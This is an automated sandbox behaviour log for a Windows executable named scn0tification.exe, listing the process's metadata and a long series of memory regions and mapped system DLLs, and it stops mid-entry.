# Flog Txt Version 1 # Analyzer Version: 2.3.2 # Analyzer Build Date: Feb 15 2019 13:52:06 # Log Creation Date: 02.03.2019 17:30:17.047 Process: id = "1" image_name = "scn0tification.exe" filename = "c:\\users\\ciihmnxmn6ps\\desktop\\scn0tification.exe" page_root = "0x2caa4000" os_pid = "0xd34" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SCN0tification.exe\" " cur_dir = "C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00013da5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3 start_va = 0x40000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 4 start_va = 0x60000 end_va = 0x9ffff entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 5 start_va = 0xa0000 end_va = 0x19ffff entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 6 start_va = 0x1a0000 end_va = 0x1a3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 7 start_va = 0x1b0000 end_va = 0x1b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 8 start_va = 0x1c0000 end_va = 0x1c1fff entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 9 start_va = 0x400000 end_va = 0x437fff entry_point = 0x400000 region_type = mapped_file name = "scn0tification.exe" filename = "\\Users\\CIiHmnxMn6Ps\\Desktop\\SCN0tification.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\scn0tification.exe") Region: id = 10 start_va = 0x776b0000 end_va = 0x77828fff entry_point = 0x776b0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 11 start_va = 0x7ffb0000 end_va = 0x7ffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ffb0000" filename = "" Region: id = 12 start_va = 0x7ffdb000 end_va = 0x7ffddfff entry_point = 0x0 region_type = private name = "private_0x000000007ffdb000" filename = "" Region: id = 13 start_va = 0x7ffde000 end_va = 0x7ffdefff entry_point = 0x0 region_type = private name = "private_0x000000007ffde000" filename = "" Region: id = 14 start_va = 0x7ffdf000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007ffdf000" filename = "" Region: id = 15 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 16 start_va = 0x7fff0000 end_va = 0x7ffc57b4ffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 17 start_va = 0x7ffc57b50000 end_va = 0x7ffc57d11fff entry_point = 0x7ffc57b50000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 18 start_va = 0x7ffc57d12000 end_va = 0x7ffffffeffff entry_point = 0x0 region_type = private name = "private_0x00007ffc57d12000" filename = "" Region: id = 158 start_va = 0x2c0000 end_va = 0x2cffff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 159 start_va = 0x5bab0000 end_va = 0x5bb22fff entry_point = 0x5bab0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 160 start_va = 0x5bb30000 end_va = 0x5bb7efff entry_point = 0x5bb30000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 161 start_va = 0x5baa0000 end_va = 0x5baa7fff entry_point = 0x5baa0000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 162 start_va = 0x5a0000 end_va = 0x69ffff entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 163 start_va = 0x74f40000 end_va = 0x7502ffff entry_point = 0x74f40000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 164 start_va = 0x75190000 end_va = 0x75305fff entry_point = 0x75190000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 165 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 166 start_va = 0x1d0000 end_va = 0x28dfff entry_point = 0x1d0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 167 start_va = 0x746b0000 end_va = 0x74740fff entry_point = 0x746b0000 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 168 start_va = 0x7feb0000 end_va = 0x7ffaffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007feb0000" filename = "" Region: id = 169 start_va = 0x20000 end_va = 0x23fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 170 start_va = 0x2d0000 end_va = 0x30ffff entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 171 start_va = 0x440000 end_va = 0x53ffff entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 172 start_va = 0x74570000 end_va = 0x74601fff entry_point = 0x74570000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.10240.16384_none_49c02355cf03478c\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.10240.16384_none_49c02355cf03478c\\comctl32.dll") Region: id = 173 start_va = 0x74750000 end_va = 0x747a8fff entry_point = 0x74750000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 174 start_va = 0x747b0000 end_va = 0x747b9fff entry_point = 0x747b0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 175 start_va = 0x747c0000 end_va = 0x747ddfff entry_point = 0x747c0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 176 start_va = 0x74a00000 end_va = 0x74aabfff entry_point = 0x74a00000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 177 start_va = 0x75030000 end_va = 0x7517cfff entry_point = 0x75030000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 178 start_va = 0x76c70000 end_va = 0x76daffff entry_point = 0x76c70000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 179 start_va = 0x76f20000 end_va = 0x76fddfff entry_point = 0x76f20000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 180 start_va = 0x77170000 end_va = 0x77259fff entry_point = 0x77170000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 181 start_va = 0x772b0000 end_va = 0x772f2fff entry_point = 0x772b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 182 start_va = 0x77390000 end_va = 0x77549fff entry_point = 0x77390000 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 183 start_va = 0x77550000 end_va = 0x775cafff entry_point = 0x77550000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 184 start_va = 0x7ffd8000 end_va = 0x7ffdafff entry_point = 0x0 region_type = private name = "private_0x000000007ffd8000" filename = "" Region: id = 185 start_va = 0x2a0000 end_va = 0x2affff entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 186 start_va = 0x6a0000 end_va = 0x827fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006a0000" filename = "" Region: id = 187 start_va = 0x74df0000 end_va = 0x74f0ffff entry_point = 0x74df0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 188 start_va = 0x74f10000 end_va = 0x74f3afff entry_point = 0x74f10000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 189 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 190 start_va = 0x290000 end_va = 0x290fff entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 191 start_va = 0x390000 end_va = 0x39ffff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 192 start_va = 0x830000 end_va = 0x9b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000830000" filename = "" Region: id = 193 start_va = 0x9c0000 end_va = 0x1dbffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009c0000" filename = "" Region: id = 194 start_va = 0x310000 end_va = 0x37ffff entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 195 start_va = 0x2b0000 end_va = 0x2b0fff entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 196 start_va = 0x310000 end_va = 0x325fff entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 197 start_va = 0x370000 end_va = 0x37ffff entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 198 start_va = 0x330000 end_va = 0x349fff entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 199 start_va = 0x74500000 end_va = 0x74566fff entry_point = 0x74500000 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\SysWOW64\\winspool.drv" (normalized: "c:\\windows\\syswow64\\winspool.drv") Region: id = 200 start_va = 0x744e0000 end_va = 0x744fafff entry_point = 0x744e0000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 201 start_va = 0x766d0000 end_va = 0x7678dfff entry_point = 0x766d0000 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\SysWOW64\\comdlg32.dll" (normalized: "c:\\windows\\syswow64\\comdlg32.dll") Region: id = 202 start_va = 0x77300000 end_va = 0x7738cfff entry_point = 0x77300000 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 203 start_va = 0x74da0000 end_va = 0x74de3fff entry_point = 0x74da0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 204 start_va = 0x75310000 end_va = 0x766cefff entry_point = 0x75310000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 205 start_va = 0x76790000 end_va = 0x76c6cfff entry_point = 0x76790000 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\SysWOW64\\windows.storage.dll" (normalized: "c:\\windows\\syswow64\\windows.storage.dll") Region: id = 206 start_va = 0x74ab0000 end_va = 0x74abbfff entry_point = 0x74ab0000 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 207 start_va = 0x77260000 end_va = 0x772a3fff entry_point = 0x77260000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\SysWOW64\\powrprof.dll" (normalized: "c:\\windows\\syswow64\\powrprof.dll") Region: id = 208 start_va = 0x75180000 end_va = 0x7518efff entry_point = 0x75180000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 209 start_va = 0x74880000 end_va = 0x749f4fff entry_point = 0x74880000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 210 start_va = 0x77070000 end_va = 0x7707dfff entry_point = 0x77070000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 211 start_va = 0x744c0000 end_va = 0x744d6fff entry_point = 0x744c0000 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 212 start_va = 0x310000 end_va = 0x31ffff entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 213 start_va = 0x3a0000 end_va = 0x3dffff entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 214 start_va = 0x1dc0000 end_va = 0x1ebffff entry_point = 0x0 region_type = private name = "private_0x0000000001dc0000" filename = "" Region: id = 215 start_va = 0x7ffd5000 end_va = 0x7ffd7fff entry_point = 0x0 region_type = private name = "private_0x000000007ffd5000" filename = "" Region: id = 216 start_va = 0x1ec0000 end_va = 0x1fbffff entry_point = 0x0 region_type = private name = "private_0x0000000001ec0000" filename = "" Region: id = 217 start_va = 0x310000 end_va = 0x323fff entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 218 start_va = 0x350000 end_va = 0x357fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000350000" filename = "" Region: id = 219 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 220 start_va = 0x1fc0000 end_va = 0x22f6fff entry_point = 0x1fc0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 221 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 222 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 223 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 224 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 225 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 226 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 227 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 228 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 229 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 230 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 231 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 232 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 233 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 234 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 235 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 236 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 237 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 238 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 239 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 240 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 241 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 242 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 243 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 244 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 245 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 246 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 247 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 248 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 249 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 250 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 251 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 252 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 253 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 254 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 255 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 256 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 257 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 258 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 259 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 260 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 261 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 262 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 263 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 264 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 265 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 266 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 267 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 268 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 269 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 270 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 271 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 272 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 273 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 274 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 275 start_va = 0x310000 end_va = 0x31ffff entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 276 start_va = 0x310000 end_va = 0x323fff entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 277 start_va = 0x350000 end_va = 0x357fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000350000" filename = "" Region: id = 278 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 279 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 280 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 281 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 282 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 283 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 284 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 285 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 286 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 287 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 288 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 289 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 290 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 291 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 292 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 293 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 294 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 295 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 296 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 297 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 298 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 299 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 300 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 301 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 302 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 303 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 304 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 305 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 306 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 307 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 308 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 309 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 310 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 311 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 312 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 313 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 314 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 315 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 316 start_va = 0x310000 end_va = 0x317fff entry_point = 0x0 region_type = pagefile_backed name = 